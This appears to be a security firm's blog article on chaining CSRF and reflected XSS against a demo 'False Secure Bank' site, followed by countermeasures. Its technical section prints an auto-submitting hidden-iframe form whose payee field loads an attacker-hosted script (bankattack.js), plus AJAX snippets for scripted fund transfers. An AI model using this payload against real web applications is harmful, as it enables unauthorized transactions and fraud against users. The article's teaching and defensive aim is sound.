The True Danger of XSS and CSRF

In our one-day training classes and conference talks we make judicious use of videos to demonstrate concepts. One of the most popular videos illustrates the true danger of Cross-Site Scripting (XSS) combined with Cross-Site Request Forgery (CSRF). We constructed a fake bank site and demonstrated that a single XSS vulnerability and money transfer functionality in the bank site could result in a user losing money just by visiting another site. In the example, the bank site isn’t over SSL but SSL would not prevent this attack in any way.

The malicious site in our example is completely attacker-controlled, but in reality the malicious site could actually be a Flash ad in a trusted site, Facebook / Myspace / LinkedIn applications or other mashups running untrusted code, or even malicious code running in another trusted site like a bulletin board.

In our example, the user visits the bank site and the attacker site in two browser tabs at the same time. In reality, the victim is exposed for the entire duration of his/her session on the server. That means if a user simply closes their browser window and doesn’t actually logout of the banking application, they are still vulnerable for a period of time — usually 15–30 minutes.

At first the attack may seem far-fetched because of all the factors at play:

  1. A victim needs to visit a specific vulnerable site
  2. The victim then must visit another malicious site that knows to attack the site from Step 1, all while the victim still has a valid session.

So how is this attack becoming less far-fetched today?

  1. A survey by the Web Application Security Consortium (WASC) reveals that
    nearly 60% of websites are vulnerable to XSS. The ability to discover XSS has never been easier, and public disclosure sites like xssed.com make discovering specific vulnerabilities trivial.
  2. We’ve seen real attacks delivered through social networking sites and flash ads. These attack vectors allow malicious users to target thousands of victims concurrently — given enough potential victims, the chances that at least a handful of them also have a valid session on a specific vulnerable site becomes higher. Even though our demo shows an attack on one specific bank, an attacker can try to attack multiple sites from the same malicious JavaScript. In other words, an XSS fraudster can conceivably attempt to deliver malicious payloads for several different vulnerable sites to thousands of victims within a very short period of time.

What makes this attack particularly devastating is the fact that the victim likely won’t be able to repudiate the money transfer. In the bank’s logs, it looks like the user intentionally meant to transfer funds. All of the transactions originate from the victim’s IP address and were sent with the victim’s cookies. Only behavioural analysis, such as looking at the abnormal speed of the series of requests or noticing that multiple people transferred money to the same payee at within a short period of time, might reveal fraud.

Attack Technical Details

  1. User visits http://localhost:3000 (False Secure Bank)
  2. While having a valid session in False Secure Bank, user then visits http://127.0.0.1/CSRF _Example (Attacker site)
  3. Within the Attacker Site, we added a 0 length by 0 width iFrame, rendering the content of the iFrame invisible to the end user.
  4. Within the iFrame, we inserted some HTML including a form with pre-populated values, and some script that automatically submits the form on behalf of the user:
  5. <form name=”input” action=”http://localhost:3000/send_payment" method=”post”>
    <input type=”text” name=”pay[payee]” value=”http://127.0.0.1/CSRF_Example/bankattack.js”>
    <input type=”text” name=”amount” value=”0"/>
    <input type=”text” name=”commit” value=”Pay”/>
    </form>
    document.input.submit();
  6. Note that the pay[payee] field value is the actual Cross Site Scripting payload. This corresponds to the XSS vulnerability we discovered earlier within the False Secure Bank site. In this case, the actual script points to source located at http://127.0.0.1/CSRF_Example/bankattack.js. The document.input.submit() method automatically submits the request behalf on the user — in other words, we’re delivering a Cross Site Scripting (XSS) payload via a Cross Site Request Forgery (CSRF) attack.
  7. The user’s browser automatically submits the request to http://localhost:3000/send_payment with the user’s cookies. The user has no idea this has happened.
  8. False Secure Bank sends a response to the 0 x 0 IFrame, where the request originated from. In the response, the developers include an unfiltered, unencoded version of the pay[payee] parameter from the send_payment request. Since this parameter renders within the clients browser, the tag automatically executes.
  9. The browser automatically downloads the bankattack.js file. Since the request for JavaScript file appears to come from False Secure Bank, the browser does not believe this is a violation of the same origin policy.
  10. Within the JavaScript file we’ve included a whole series of Ajax request and responses. They look something like this:
  11. xmlhttp.open(“GET”, “/payment”, false); //AJAX request to get the payment screen
  12. xmlhttp.setRequestHeader(‘Content-Type’,’application/x-www-form-urlencoded’);
  13. >xmlhttp.send(“”)
  14. The actual JavaSript Object type of XMLHTTP varies by browser. Note that we can set the request headers however we want, and we can emulate any user generated content — including modifying the user-agent tag or any cookies used to track user navigation. We can also save the response we get back from the “send” command and parse out interesting values. For instance, suppose we need to know the victim’s account number in order to transfer funds. We can send an XML HTTP request to the home page and parse out the account number from the response HTML. Similarly, we can parse out any anti-CSRF tokens once we have our malicious JavaScript running.
  15. Note that False Secure Bank does not support nor feature any Ajax. We don’t care. We only need the user’s browser to support Ajax, which most modern browsers do.
  16. The JavaScript from the previous step makes several different requests:
  • Go to payments screen
  • Parse out the account number of the attacker
  • Add the attacker as a payee
  • Initiate payment
  • Confirm payment

While this scenario outlines a bank transfer, we could automate practically any series of requests in any web application with this kind of attack.

Countermeasures (Developers)

  • The easiest countermeasure is to prevent Cross Site Scripting. Make judicious use of strong encoding libraries like those given in the OWASP ESAPI project . Follow the details outlined in the Cross Site Scripting Prevention Cheat Sheet.
  • Use frame busting code. Note, people have (and continue to) come up with ways around frame-busting . Also note that the attacker doesn’t need a frame — s/he can execute the entire attack visible to the user — although that increases the possibility that the user will shut down the browser and stop the attack midway.
  • The most effective method of preventing this and almost all attacks against sensitive transactions is to use transactional authentication. The developers could have required Phone Factor authentication, for instance, for all money transfers over $100. Of course, any additional authentication may come at the expense of usability. A less effective and, arguably, less user-friendly approach is to use some anti-automation
    technology like CAPTCHA.
  • The original XSS vector was delivered through a CSRF attack on the send_payment transaction. If the entire authenticated portion of False Secure Bank was protected against CSRF, we couldn’t have delivered the reflective XSS payload in the first place. Stored XSS does not suffer from the same limitation.

Countermeasures
(End Users)

  • Always log out. This doesn’t prevent the attack completely but significantly limits your exposure to attack
  • Do not browse to other sites while on a sensitive application such as online banking
  • Use NoScript. Yes, NoScript prevents this attack, even if you trust the script in the malicious site because NoScript accurately identifies the CSRF request as a potential Cross Site Scripting attack
  • Hope that the developers who create your applications care about security, and that they don’t categorically think Cross Site Scripting is low or medium risk

Previous Article
J2EE Patterns Analysis Now an OWASP Project!
J2EE Patterns Analysis Now an OWASP Project!

We’re happy to announce that our Security Analysis of the J2EE Core Patterns is now officially an OWASP pro...

Next Article
Case Study: The Falling Stock of Appsec
Case Study: The Falling Stock of Appsec

Jamie Rockhill* is the director of information security at DG&S, a medium-sized Manhattan-based financial s...

×

Schedule a live demo

First Name
Last Name
Company Name
!
Thank you!
Error - something went wrong!